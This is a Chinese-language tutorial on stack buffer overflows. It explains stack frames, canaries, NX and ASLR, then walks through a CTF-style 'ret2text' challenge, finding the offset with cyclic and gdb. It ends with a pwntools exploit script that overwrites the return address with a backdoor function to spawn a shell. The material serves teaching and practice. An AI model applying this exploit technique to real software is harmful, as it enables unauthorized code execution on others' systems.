这篇文章主要讲解了二进制栈溢出的原理。
1、关于栈的举例说明
- 栈是一种LIFO的数据结构。
- 应用程序有一到多个用户态栈。
- 栈自底向上增长,由指令PUSH和POP引起其动态变化。
- 局部变量布局在栈中。
- 调用函数时参数由栈传递,返回地址也存储于栈中。
- 函数调用上下文与局部变量共同组成了栈帧——Stack Frame.
2、栈的保护机制
CANNARY(栈保护)
栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
NX(DEP)(数据执行保护 Data Execution Prevention)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
PIE(ASLR)
内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加堆(heap)的随机化
栈溢出的利用思路
- 先决条件:栈局部变量可控,存在溢出漏洞(strcpy、memcpy等)。
- 通过计算栈空间,写出shellcode,并用shellcode起始地址覆盖栈帧的返回地址(ret addr)。
- Payload = [Nop sled + ] Shellcode + Pad + Shellcode’s Addr
实际利用
文件链接:https://share.weiyun.com/evUKkBCv
首先讲一下这道题的思路,gdb打开程序,然后运行,输入一串字符,然后程序在某个地址发生错误。
使用checksec ret2text查看程序的保护机制,这里发现啥都没有
使用cyclic 150 生成150个字符
运行程序,输入字符串,发现程序在0x61616166发生错误
使用cyclic -l 0x61616166计算偏移量(上述方法只适用于32位程序),得到偏移量20
通过gdb调试也可以看出偏移量是20
在ida中打开程序,找到main函数
进入到vulnerable函数,发现有个gets函数(gets函数是很不安全的)
然后搜索字符串,发现/bin/sh
/bin/sh的作用简而言之就是打开一个可以执行bash命令的命令行,所以当看到这个字符串时一定要重视
然后继续跟进的话,可以发现有个可以直接使用的后门函数
接下来就可以开始写exp了
# 导入pwntools
from pwn import *
# 在本地运行ret2text
p = process("./ret2text")
# 远程执行的话如下
# p = remote('127.0.0.1',8982)
# 前面是ip地址,后面是端口号
# 后门函数的地址
address = 0x08048522
# payload的构成,先填充20个垃圾字符,在用后门函数的地址覆盖返回地址
payload = 0x14 * 'a'.encode() + p32(address)
# 上面是在python3下的写法,下面是python2下
# payload = 0x14 * 'a' + p32(address)
# 发送payload
p.sendline(payload)
# 在终端里将命令传送到远程服务器
p.interactive();
如果对于exp中的命令不理解,可以看看这篇文章
栈的结构如下:
运行exp.py,利用成功